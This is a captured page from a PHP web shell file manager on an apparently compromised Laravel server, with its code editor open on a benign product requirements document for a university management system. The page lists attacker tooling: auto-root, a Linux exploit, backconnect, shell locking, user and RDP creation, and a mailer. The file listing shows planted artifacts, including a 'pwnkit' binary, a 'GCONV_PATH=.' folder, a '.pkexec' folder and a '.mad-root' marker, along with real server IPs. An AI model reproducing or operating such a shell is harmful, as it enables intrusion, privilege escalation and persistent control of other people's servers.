Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.142
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo10.com /
[ HOME SHELL ]
Name
Size
Permission
Action
.agents
[ DIR ]
drwxr-xr-x
.git
[ DIR ]
drwxr-xr-x
.pkexec
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxr-xr-x
1xrmnhy
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
app
[ DIR ]
drwxr-xr-x
bootstrap
[ DIR ]
drwxr-xr-x
cavolbz
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
database
[ DIR ]
drwxr-xr-x
efcon1w
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
kwrp1cx
[ DIR ]
drwxr-xr-x
public
[ DIR ]
drwxr-xr-x
resources
[ DIR ]
drwxr-xr-x
routes
[ DIR ]
drwxr-xr-x
storage
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
vfmjdqt
[ DIR ]
drwxr-xr-x
vglfbas
[ DIR ]
drwxr-xr-x
yax1onu
[ DIR ]
drwxr-xr-x
z1fwyra
[ DIR ]
drwxr-xr-x
.env
784
B
-rw-rw-rw-
.env.example
638
B
-rw-rw-rw-
.htaccess
1.96
KB
-r--r--r--
.mad-root
0
B
-rw-r--r--
README.md
3.07
KB
-rw-rw-rw-
artisan
339
B
-rw-rw-rw-
composer-setup.php
58.13
KB
-rw-rw-rw-
composer.json
1.33
KB
-rw-rw-rw-
composer.lock
470.2
KB
-rw-rw-rw-
composer.phar
3.47
MB
-rw-rw-rw-
goat1.php
143.87
KB
-rw-r--r--
index.php
19.47
KB
-r--r--r--
license-dhzn.php
629
B
-rw-r--r--
phpunit.xml.dist
1.11
KB
-rw-rw-rw-
prd.md
31.76
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rwxr-xr-x
robots.txt
86
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : prd.md
# Product Requirements Document ## University Management System (UMS) **Version:** 1.0 **Date:** July 10, 2026 **Owner:** Samir **Status:** Draft **Stack:** Laravel (full-stack monolith) --- # 1. Overview A web-based University Management System built as a Laravel monolith with two distinct surfaces: 1. **Student Portal** — public-facing. Prospective students sign up, apply, enroll in courses, and pay fees online. 2. **Administration Console** — internal. Staff manage students, teachers, subjects, classes, attendance, grades, and finance. **Core principle:** *Enrollment is the atom.* A student enrolled in a class section is the single record that attendance, grades, and invoices all hang off. Everything else is a lookup table around it. --- # 2. Problem Statement University operations today are fragmented across spreadsheets, paper forms, and manual fee collection. This causes: - No single source of truth for student headcount, teacher load, or class capacity - Students must physically visit the registrar to enroll or pay - Fee reconciliation is manual and error-prone - No visibility into at-risk students until it's too late --- # 3. Goals & Success Metrics | Goal | Metric | Target | |---|---|---| | Centralize university data | Single DB of record for students, staff, courses | 100% of records migrated | | Self-service enrollment | % of enrollments completed without staff intervention | > 85% | | Online fee collection | % of fees collected digitally | > 70% in first term | | Operational visibility | Time to answer "how many active students?" | < 2 seconds (dashboard) | | Reduce registrar workload | Support tickets during registration week | −50% vs baseline | ### Non-Goals (v1) Library management, hostel/dormitory allocation, alumni portal, multi-campus tenancy, live video classes, native mobile apps. --- # 4. User Roles & Permissions | Role | Description | Key Permissions | |---|---|---| | **Guest** | Unauthenticated visitor | View landing page, programs, apply | | **Applicant** | Signed up, not yet accepted | View application status, upload documents | | **Student** | Accepted and enrolled | Enroll in classes, view grades/attendance, pay fees | | **Teacher** | Faculty member | View assigned classes, mark attendance, enter grades | | **Registrar** | Academic staff | CRUD students, classes, terms; approve applications | | **Finance** | Accounts staff | View/generate invoices, reconcile payments, issue refunds | | **Admin** | Superuser | All of the above + user management, roles, system settings | **Implementation:** `spatie/laravel-permission`. Roles carry permissions; permissions are checked in Policies, never inline in controllers. **Permission matrix (abridged):** | Permission | Student | Teacher | Registrar | Finance | Admin | |---|:-:|:-:|:-:|:-:|:-:| | `student.view.own` | ✅ | — | — | — | ✅ | | `student.view.any` | — | roster only | ✅ | ✅ | ✅ | | `student.create` | — | — | ✅ | — | ✅ | | `enrollment.create.own` | ✅ | — | — | — | ✅ | | `enrollment.create.any` | — | — | ✅ | — | ✅ | | `attendance.mark` | — | ✅ (own classes) | ✅ | — | ✅ | | `grade.enter` | — | ✅ (own classes) | — | — | ✅ | | `grade.publish` | — | ✅ | ✅ | — | ✅ | | `invoice.view.own` | ✅ | — | — | — | ✅ | | `invoice.generate` | — | — | ✅ | ✅ | ✅ | | `payment.refund` | — | — | — | ✅ | ✅ | | `class.create` | — | — | ✅ | — | ✅ | | `user.manage` | — | — | — | — | ✅ | --- # 5. Feature Specification ## 5.1 Public Landing Page **Route:** `GET /` **Sections:** - Hero with university name, tagline, primary CTA ("Apply Now"), secondary CTA ("Student Login") - Programs offered — card grid, each linking to a program detail page - Admission requirements + deadlines (pulled from active `Term`) - Faculty highlights - Campus stats (students, faculty, programs) — cached counters - Contact + footer **Requirements:** - Fully mobile-responsive - Public program pages are SEO-indexable (server-rendered Blade) - Page load < 1.5s on 3G --- ## 5.2 Sign Up & Application **Route:** `GET|POST /register` **Fields:** | Field | Type | Validation | |---|---|---| | Full name | string | required, max 255 | | Email | string | required, email, unique:users | | Phone | string | required, valid phone | | Password | string | required, min 8, confirmed, uncompromised | | Date of birth | date | required, before 15 years ago | | National ID / Passport | string | required, unique | | Program of interest | select | required, exists:programs,id | **Flow:** 1. Submit form → `User` created with role `applicant`, status `pending_verification` 2. Verification email sent (queued job) 3. Click link → email verified, status → `pending_documents` 4. Upload documents (transcript, ID scan, photo) → status → `submitted` 5. Registrar reviews in admin console → `accepted` or `rejected` 6. On acceptance: `Student` record created, `student_number` generated, role changed to `student`, acceptance email sent **Application status machine:** ``` draft → pending_verification → pending_documents → submitted ├→ under_review → accepted → enrolled └→ rejected ``` **Requirements:** - Email verification is mandatory before document upload - Applicant cannot enroll in classes until status is `accepted` - OAuth signup via Google supported (skips email verification) - Rate limit: 5 registration attempts per IP per hour --- ## 5.3 Login & Session **Route:** `GET|POST /login` - Email + password - "Remember me" (30-day cookie) - Password reset via emailed signed link (60-min expiry) - Rate limit: 5 failed attempts per email+IP, then 60s lockout, escalating - Session invalidated on password change - 2FA — **Phase 3** --- ## 5.4 Student Dashboard **Route:** `GET /dashboard` *(auth, role:student)* **Widgets:** | Widget | Content | |---|---| | Current term summary | Term name, weeks remaining, registration window status | | My classes | Subject, teacher, schedule, room, next session | | Fees | Outstanding balance, next due date, **Pay Now** button | | Grades | Current-term grades per class, cumulative GPA | | Attendance | % per class, warning if below threshold (default 75%) | | Announcements | Latest 5, filtered by audience | | Documents | Enrollment letter (PDF), request transcript | **Requirements:** - All data scoped to `auth()->user()->student` — enforced via Policy, never by query param - Dashboard cached 60s per student, invalidated on enrollment/payment/grade write --- ## 5.5 Course Catalog & Enrollment **Route:** `GET /courses` · `POST /enroll/{class}` · `DELETE /enroll/{enrollment}` **Catalog view:** - Lists `ClassSection` records for the active `Term` - Filterable: department, subject, day of week, teacher, seats available - Each card shows: subject code + title, credits, teacher, schedule, room, `enrolled_count / capacity` **Enrollment rules (enforced server-side in `EnrollmentService`):** 1. **Registration window** — `now()` between `term.reg_open` and `term.reg_close` 2. **Student status** — must be `accepted` or `enrolled`, not `suspended` 3. **Prerequisites** — every subject in `subject.prerequisites[]` must have a passing grade in the student's history 4. **Seat availability** — `enrolled_count < capacity` (locked via `SELECT ... FOR UPDATE` inside a transaction) 5. **Schedule conflict** — no overlapping timeslot with an existing enrollment this term 6. **Credit cap** — total enrolled credits ≤ `program.max_credits_per_term` (default 21) 7. **No duplicates** — student cannot enroll in two sections of the same subject in one term 8. **Outstanding balance** — if `invoice.status = overdue` from a prior term, block enrollment **On successful enrollment:** - `Enrollment` created with status `enrolled` - `class_section.enrolled_count` incremented (atomically) - Line item added to student's term `Invoice` (created if none exists) - Confirmation email queued **Drop rules:** - Allowed only during registration window → full refund, invoice line item removed - After window closes but before 50% of term elapsed → status `withdrawn`, 50% refund, `W` on transcript - After 50% of term → drop denied, must petition registrar --- ## 5.6 Payments **Routes:** `GET /billing` · `POST /billing/pay` · `POST /webhooks/{gateway}` ### Gateways | Gateway | Package | Methods | Currency | Webhook Event | |---|---|---|---|---| | **Stripe** | `laravel/cashier` | Card, Apple/Google Pay | BDT, USD | `payment_intent.succeeded`, `.payment_failed`, `charge.refunded` | | **bKash** | Custom HTTP client | Mobile wallet | BDT | Execute-payment callback + status poll | | **PayPal** | `srmklive/paypal` | Balance, card | USD | `PAYMENT.CAPTURE.COMPLETED`, `.DENIED`, `.REFUNDED` | ### Gateway abstraction ```php interface PaymentGateway { public function createPayment(Invoice $invoice, array $options = []): PaymentSession; public function verifyWebhook(Request $request): bool; public function parseWebhook(Request $request): WebhookEvent; public function refund(Payment $payment, int $amountMinor): RefundResult; } ``` Implementations: `StripeGateway`, `BkashGateway`, `PayPalGateway`. Resolved from a `PaymentGatewayManager` by `$gateway` string. ### Payment flow 1. Student clicks **Pay Now** → chooses gateway and amount (full or installment) 2. `PaymentController@pay` creates a `Payment` row with status `pending`, generates an **idempotency key** = `sha1(invoice_id . amount . student_id . date)` 3. Gateway returns redirect URL or client secret → student completes on gateway 4. Gateway fires webhook → `WebhookController` verifies signature → dispatches `ProcessPaymentWebhook` job 5. Job (inside DB transaction): - Finds `Payment` by `gateway_txn_id` - Updates status to `succeeded` / `failed` - Recalculates `Invoice.amount_paid` and `Invoice.status` - Fires `PaymentSucceeded` event → receipt email + PDF ### Hard rules - ❌ **Never** mark an invoice paid based on a client-side redirect. Only a verified webhook mutates payment state. - ❌ **Never** store raw card data. Tokenize at the gateway. Application is PCI SAQ-A. - ✅ Every `Payment` stores `gateway`, `gateway_txn_id`, `raw_payload` (JSON, for audit) - ✅ Webhook endpoints are idempotent — replaying the same event is a no-op - ✅ Webhook signature verification failure → 401, log, alert - ✅ Currency is fixed per `Program` at v1. No FX conversion. - ✅ Reconciliation job runs nightly, comparing gateway ledger to local `payments` table, flags mismatches ### Installments Admin defines an installment plan per program/term: `[{pct: 50, due: term.start}, {pct: 50, due: term.start + 45d}]`. Invoice is split into `InvoiceInstallment` rows. Overdue installment → student flagged, blocks next-term enrollment. --- ## 5.7 Admin Dashboard **Route:** `GET /admin` *(auth, role:registrar|finance|admin)* **Counters (cached 5 min, invalidated on relevant writes):** - Total students — active / suspended / graduated / withdrawn - Total teachers, total staff - Classes running this term - Subjects offered - Term revenue: collected vs outstanding - Applications pending review **Charts:** - Enrollment trend (last 8 terms) - Revenue by gateway (current term) - Class fill rate distribution - Applications by status (funnel) **Alert panel:** - Students below attendance threshold - Overdue invoices > 30 days - Classes below minimum enrollment (candidates for cancellation) - Teachers over workload cap --- ## 5.8 Student Management **Routes:** `/admin/students/*` - Full CRUD; list with search + filters (program, year, status, admission date, outstanding balance) - Detail view tabs: Profile · Enrollments · Grades · Attendance · Invoices · Documents · Audit Log - Bulk CSV import (`maatwebsite/excel`) with dry-run validation and per-row error report - Status transitions with reason + actor logged - Export to CSV / PDF **Status machine:** ``` applicant → enrolled ⇄ suspended ├→ graduated └→ withdrawn ``` Suspended students: cannot enroll, can still view records and pay outstanding fees. --- ## 5.9 Teacher Management **Routes:** `/admin/teachers/*` - CRUD teacher records: employee number, department, hire date, employment type - **Qualified subjects** — many-to-many. A teacher may only be assigned to a `ClassSection` whose subject is in their qualified list. This is a hard constraint at the DB and validation layer. - **Workload view** — total teaching hours per term, against `max_hours_per_term` (default 18 contact hours/week) - **Conflict detection** — teacher cannot be assigned two class sections with overlapping timeslots in the same term - Teacher portal (`/teaching`): assigned classes, rosters, attendance marker, grade entry --- ## 5.10 Staff Management **Routes:** `/admin/staff/*` - CRUD staff, assign to `Department` - Assign role (`registrar`, `finance`, `admin`) - Deactivate → immediate session invalidation - Every role change is written to the audit log --- ## 5.11 Subject Management **Routes:** `/admin/subjects/*` | Field | Notes | |---|---| | `code` | e.g. `CSE-101`, unique | | `title` | | | `credits` | integer, 1–6 | | `department_id` | | | `description` | | | `prerequisites[]` | self-referencing many-to-many | | `qualified_teachers[]` | many-to-many | | `is_active` | soft-disable without deleting history | **Prerequisite validation:** cycle detection on save (a subject cannot transitively require itself). --- ## 5.12 Class Management **Routes:** `/admin/classes/*` A **ClassSection** is: `Subject + Teacher + Term + Room + Schedule + Capacity`. **Creation validation:** 1. Teacher must be in `subject.qualified_teachers` 2. Teacher must not have a timeslot conflict in this term 3. Room must not have a timeslot conflict in this term 4. Room capacity ≥ section capacity 5. Term must not be closed **`ConflictDetector` service** runs all checks and returns a structured conflict list, surfaced inline in the form before save. **Schedule format:** array of `{day: MON, start: "09:00", end: "10:30"}`. Stored as JSON. Overlap check = `(a.start < b.end) && (b.start < a.end)` on matching day. **Roster view:** enrolled students, waitlist (Phase 2), export to CSV. --- ## 5.13 Academic Terms **Routes:** `/admin/terms/*` | Field | Notes | |---|---| | `name` | e.g. "Fall 2026" | | `start_date`, `end_date` | | | `reg_open`, `reg_close` | enrollment window | | `is_active` | **exactly one** term active at a time — enforced by a DB partial unique index | | `status` | `planning → registration → in_progress → grading → closed` | Closing a term: locks enrollments, finalizes grades, rolls GPA, archives. --- ## 5.14 Attendance **Teacher route:** `/teaching/classes/{class}/attendance` - Teacher selects a session date → marks each enrolled student `present` / `absent` / `late` / `excused` - Bulk "mark all present" then adjust exceptions - Attendance is per `Enrollment` + `session_date` (unique composite) - Editable for 7 days after session, then locked (registrar can override, logged) **Student view:** attendance % per class, with a warning banner below the threshold. **Admin:** at-risk report — all students below `attendance_threshold` (configurable, default 75%). --- ## 5.15 Grading **Teacher route:** `/teaching/classes/{class}/grades` - Teacher defines assessment components per class: `{name: "Midterm", weight: 30}`. Weights must sum to 100. - Enter raw scores per student per component - Final grade = `Σ (score/max × weight)`, mapped to a letter grade via a configurable scale **Default grade scale:** | Range | Letter | Points | |---|---|---| | 80–100 | A | 4.00 | | 75–79 | A− | 3.75 | | 70–74 | B+ | 3.50 | | 65–69 | B | 3.00 | | 60–64 | B− | 2.75 | | 55–59 | C+ | 2.50 | | 50–54 | C | 2.25 | | 45–49 | D | 2.00 | | < 45 | F | 0.00 | - **Draft vs Published** — grades are invisible to students until the teacher publishes. Publishing is irreversible without registrar override. - **GPA** = `Σ(grade_points × credits) / Σ(credits)`, computed by `GpaCalculator`, cached on `students.cgpa`, recomputed on grade publish. - Every grade change after publish writes an audit row with old value, new value, actor, reason. --- ## 5.16 Finance **Routes:** `/admin/finance/*` - **Fee structure** — per program per term: tuition, lab fee, library fee, registration fee. Some are per-credit, some flat. - **Invoice generation** — auto on enrollment; manual bulk generation per term - **Invoice states:** `draft → issued → partially_paid → paid` / `overdue` / `cancelled` - **Payment ledger** — every payment row, filterable by gateway, date, status - **Refunds** — finance staff initiates → approval required → gateway refund API called → `Payment` marked `refunded`, credit note issued - **Reports:** outstanding balance aging (0–30, 31–60, 61–90, 90+), revenue by gateway, revenue by program, refunds issued --- ## 5.17 Announcements - Admin/registrar creates announcement: title, body (rich text), audience (`all` / `program:X` / `year:N` / `class:Y`), publish date, expiry - Delivered to dashboard + optional email blast (queued, batched) --- ## 5.18 Reporting & Exports | Report | Filters | Formats | |---|---|---| | Enrollment by program | term, status | CSV, PDF | | Revenue by term | gateway, program | CSV, PDF | | Teacher workload | term, department | CSV | | At-risk students | threshold, term | CSV, PDF | | Class fill rates | term | CSV | | Payment reconciliation | date range, gateway | CSV | Large exports run as queued jobs → email download link (signed URL, 24h expiry). --- # 6. Data Model ``` users id, name, email, email_verified_at, password, phone, status, created_at departments id, name, code, head_teacher_id programs id, name, code, department_id, total_credits, duration_terms, max_credits_per_term, currency, is_active students id, user_id, student_number (unique), program_id, admission_date, status, cgpa, total_credits_earned, national_id teachers id, user_id, employee_number (unique), department_id, hire_date, employment_type, max_hours_per_term staff id, user_id, employee_number, department_id, job_title subjects id, code (unique), title, credits, department_id, description, is_active subject_prerequisites [pivot, self-ref] subject_id, prerequisite_subject_id subject_teacher [pivot] subject_id, teacher_id terms id, name, start_date, end_date, reg_open, reg_close, status, is_active -- partial unique index on is_active WHERE is_active = true rooms id, building, number, capacity, type class_sections id, subject_id, teacher_id, term_id, room_id, section_code, schedule (json), capacity, enrolled_count, status enrollments ← THE JOIN. Everything hangs off this. id, student_id, class_section_id, term_id, status, final_score, letter_grade, grade_points, published_at, enrolled_at UNIQUE (student_id, class_section_id) attendances id, enrollment_id, session_date, status, marked_by, marked_at UNIQUE (enrollment_id, session_date) assessment_components id, class_section_id, name, max_score, weight grades id, enrollment_id, assessment_component_id, score, entered_by, entered_at UNIQUE (enrollment_id, assessment_component_id) fee_structures id, program_id, term_id, fee_type, amount_minor, is_per_credit invoices id, student_id, term_id, invoice_number (unique), currency, subtotal_minor, amount_paid_minor, status, due_date, issued_at invoice_items id, invoice_id, description, enrollment_id (nullable), fee_structure_id (nullable), amount_minor invoice_installments id, invoice_id, sequence, amount_minor, due_date, status payments id, invoice_id, gateway, gateway_txn_id (unique), idempotency_key (unique), amount_minor, currency, status, raw_payload (json), paid_at, refunded_at announcements id, title, body, audience_type, audience_id, published_at, expires_at, created_by audit_logs id, auditable_type, auditable_id, action, old_values (json), new_values (json), actor_id, ip, user_agent, created_at ``` ### Modeling notes - **All money is stored as integer minor units** (`amount_minor`, i.e. poisha/cents). Never floats. - `enrolled_count` on `class_sections` is a denormalized counter — updated inside the enrollment transaction with a row lock, reconciled nightly. - `enrollments` is the pivot everything references. Attendance, grades, and invoice items all point at `enrollment_id`, not at `student_id + class_id`. - `terms.is_active` uses a partial unique index (Postgres) or a trigger (MySQL) to guarantee exactly one active term. --- # 7. Technical Stack ## 7.1 Stack table | Layer | Choice | |---|---| | Framework | **Laravel 11** (full-stack) | | Views | **Blade + Livewire 3** | | Interactivity | Alpine.js (Livewire dependency) | | Styling | Tailwind CSS | | Build | Vite | | Database | **PostgreSQL 16** (partial indexes, JSONB, CTEs) — MySQL 8 acceptable fallback | | ORM | Eloquent | | Auth | Laravel Fortify | | RBAC | `spatie/laravel-permission` | | Admin console | **Filament v3** — gives you resource CRUD, tables, filters, forms, widgets out of the box | | Payments | `laravel/cashier` (Stripe) · `srmklive/paypal` · custom `BkashGateway` | | Queue | Redis + **Laravel Horizon** | | Cache | Redis | | Scheduler | Laravel Scheduler (cron) | | Files | S3-compatible (Laravel Filesystem) | | Email | Laravel Mail + Mailgun / SES | | PDF | `barryvdh/laravel-dompdf` | | Excel/CSV | `maatwebsite/excel` | | Audit | `owen-it/laravel-auditing` | | Search | Postgres full-text (`tsvector`), Meilisearch only if needed | | Testing | **Pest** + Laravel factories | | Static analysis | Larastan (level 6+) | | Style | Laravel Pint | > **Note on Filament:** Section 5.7–5.17 (the entire admin console) maps almost 1:1 onto Filament Resources, Widgets, and Actions. Adopting it removes an estimated 30–40% of admin build time. The student portal stays hand-built Livewire, because it needs custom UX. ## 7.2 Application structure ``` routes/ ├── web.php → public + student portal ├── teaching.php → teacher portal ├── api.php → webhooks (Stripe, PayPal, bKash) └── console.php → scheduled commands (Filament registers /admin routes automatically) app/ ├── Models/ │ ├── User.php Student.php Teacher.php Staff.php │ ├── Department.php Program.php Subject.php Term.php Room.php │ ├── ClassSection.php Enrollment.php │ ├── Attendance.php AssessmentComponent.php Grade.php │ ├── Invoice.php InvoiceItem.php InvoiceInstallment.php Payment.php │ └── Announcement.php │ ├── Services/ │ ├── Enrollment/ │ │ ├── EnrollmentService.php (orchestrates the 8 rules) │ │ ├── PrerequisiteChecker.php │ │ ├── SeatAllocator.php (row-locked capacity check) │ │ └── ScheduleConflictDetector.php │ ├── Payment/ │ │ ├── PaymentGateway.php (interface) │ │ ├── PaymentGatewayManager.php │ │ ├── StripeGateway.php │ │ ├── BkashGateway.php │ │ ├── PayPalGateway.php │ │ └── InvoiceReconciler.php │ ├── Academic/ │ │ ├── GpaCalculator.php │ │ ├── GradeScale.php │ │ └── TermCloser.php │ └── Scheduling/ │ └── ConflictDetector.php (teacher + room) │ ├── Http/ │ ├── Controllers/ │ │ ├── Student/ DashboardController CatalogController │ │ │ EnrollmentController BillingController │ │ ├── Teaching/ ClassController AttendanceController GradeController │ │ └── Webhook/ StripeWebhookController PayPalWebhookController │ │ BkashWebhookController │ └── Middleware/ │ ├── EnsureRegistrationWindowOpen.php │ ├── EnsureStudentNotSuspended.php │ └── VerifyWebhookSignature.php │ ├── Livewire/ │ ├── Student/ CourseCatalog EnrollmentCart PaymentCheckout │ └── Teaching/ AttendanceMarker GradeEntryTable │ ├── Filament/ │ ├── Resources/ StudentResource TeacherResource SubjectResource │ │ ClassSectionResource TermResource InvoiceResource │ └── Widgets/ StatsOverview EnrollmentTrendChart RevenueChart │ AtRiskStudentsTable │ ├── Policies/ │ └── StudentPolicy EnrollmentPolicy GradePolicy InvoicePolicy │ ├── Jobs/ │ ├── ProcessPaymentWebhook.php │ ├── GenerateTermInvoices.php │ ├── SendAnnouncementEmails.php │ ├── ReconcileGatewayLedger.php │ └── RecalculateStudentGpa.php │ ├── Events/ EnrollmentCreated PaymentSucceeded GradePublished ├── Listeners/ SendEnrollmentConfirmation IssueReceipt UpdateGpa └── Rules/ NoScheduleConflict MeetsPrerequisites WeightsSumTo100 ``` ## 7.3 Key implementation constraints **Seat allocation — must be race-safe:** ```php DB::transaction(function () use ($student, $section) { $section = ClassSection::lockForUpdate()->findOrFail($section->id); if ($section->enrolled_count >= $section->capacity) { throw new SectionFullException; } $enrollment = Enrollment::create([...]); $section->increment('enrolled_count'); return $enrollment; }); ``` **Webhook idempotency:** ```php Payment::where('gateway_txn_id', $event->txnId) ->where('status', 'pending') ->firstOr(fn () => throw new AlreadyProcessed); ``` **Money:** integer minor units everywhere. `Invoice::$subtotal_minor`. Cast via a `MoneyCast`. No `float`, no `decimal` arithmetic in PHP. --- # 8. Non-Functional Requirements | Area | Requirement | |---|---| | **Auth** | Argon2id password hashing; session cookies (`HttpOnly`, `Secure`, `SameSite=Lax`) | | **Authorization** | Every controller action guarded by a Policy. Never trust route params for ownership. | | **PCI** | SAQ-A. No card data ever touches the server. Tokenize at gateway. | | **Transport** | HTTPS only, HSTS, TLS 1.2+ | | **Web security** | CSRF on all state-changing forms; strict CSP; `X-Frame-Options: DENY` | | **Rate limiting** | Login 5/min · Registration 5/hr/IP · Payment init 10/hr/user · Webhooks unlimited (signature-gated) | | **Uploads** | Validate MIME + magic bytes; max 5MB; store off-webroot in S3; scan for malware | | **Performance** | Dashboard < 2s @ 10k students · Catalog < 1s · No N+1 (Larastan + `Model::preventLazyLoading()` in dev) | | **Availability** | 99.5%. Registration-week peak = 10× baseline; queue workers autoscale. | | **Audit** | Every grade change, payment, refund, role change, status transition logged with actor, IP, before/after | | **Backups** | Nightly full DB dump, 30-day retention, quarterly restore drill | | **Data retention** | Student academic records: permanent. Payment payloads: 7 years. Session logs: 90 days. | | **Accessibility** | WCAG 2.1 AA on the student portal | | **Responsive** | Student portal: mobile-first. Admin console: desktop-first, tablet-usable. | | **Localization** | Laravel `lang/` files; English + Bangla at launch. | | **Timezone** | Store UTC, display in `Asia/Dhaka`. | --- # 9. Open Decisions | # | Question | Options | Recommendation | |---|---|---|---| | 1 | Currency scope | BDT only / BDT + USD | **BDT only** for v1. Fix currency per program. Adding a second currency triples payment testing. | | 2 | Installments | Admin-fixed plans / student-chosen | **Admin-fixed.** Student-chosen creates a collections nightmare. | | 3 | Grade visibility | Instant on entry / held until published | **Held until published.** Teachers need to enter drafts without student panic. | | 4 | Drop refunds | Full inside window, then 0 / graduated scale | **Graduated:** 100% during registration, 50% before week 8, 0% after. Bind to `Term` config, not code. | | 5 | Attendance granularity | Per session / per week | **Per session.** Weekly aggregation is a view, not a storage decision. | | 6 | Waitlists | Yes / no in v1 | **No.** Phase 2. Adds queueing + notification complexity. | | 7 | Filament for admin | Adopt / hand-build | **Adopt.** Saves ~35% of admin build. Escape hatch exists for custom pages. | | 8 | Postgres vs MySQL | | **Postgres.** Partial unique index on `terms.is_active` and JSONB schedule queries are meaningfully cleaner. | --- # 10. Phasing ## Phase 1 — MVP *(target: 10–12 weeks)* **Scope:** get a student from landing page to enrolled and paid. - Auth, roles, permissions - Landing page + programs - Signup → application → acceptance flow - Student dashboard - Course catalog + enrollment (all 8 rules) - Invoicing + **Stripe** + **bKash** - Admin: students, teachers, subjects, classes, terms (Filament CRUD) - Admin dashboard counters - Audit logging - Webhooks + reconciliation job **Exit criteria:** 50 test students enroll in 5 classes and pay via both gateways with zero manual reconciliation. ## Phase 2 — Academic operations *(6–8 weeks)* - Attendance (teacher marking, student view, at-risk report) - Assessment components + grade entry + publish - GPA calculation and transcripts - **PayPal** gateway - Announcements - Reporting suite + exports - Waitlists - Teacher workload dashboard ## Phase 3 — Hardening & extension *(ongoing)* - 2FA - Refund workflow with approval chain - Transcript generation (official, signed PDF) - Advanced analytics - Bangla localization pass - Public API for third-party integrations - Native mobile app (React Native / Flutter, consuming a new `/api/v1`) --- # 11. Risks | Risk | Impact | Mitigation | |---|---|---| | Registration-week traffic spike overwhelms seat allocation | High — double-booked seats | Row-level locking + load test at 10× before go-live | | bKash API instability / poor docs | High — 70% of local payments | Build gateway abstraction first; Stripe as fallback; nightly reconciliation catches drift | | Webhook missed or delayed | Medium — student paid, invoice unpaid | Status-poll job every 15min for `pending` payments > 10min old | | Prerequisite data entry errors block enrollment | Medium | Dry-run prerequisite validator; registrar override with logged reason | | Grade entry mistakes after publish | Medium | Immutable-by-default; override requires reason + registrar approval; full audit trail | | Scope creep into library/hostel modules | High — timeline | Explicit non-goals in §3. Change requests go to Phase 3 backlog. | --- # 12. Appendix — Glossary - **Term** — an academic semester with a defined start, end, and registration window. - **Subject** — a course in the catalog (`CSE-101 Introduction to Programming`). Abstract. - **ClassSection** — a concrete offering of a Subject in a Term, taught by a Teacher at a time and place. - **Enrollment** — a Student's membership in a ClassSection. The central join record. - **Credit** — a unit of academic weight; determines fees and GPA contribution. - **Minor units** — the smallest indivisible currency unit (1 BDT = 100 poisha). All money is stored this way.
Close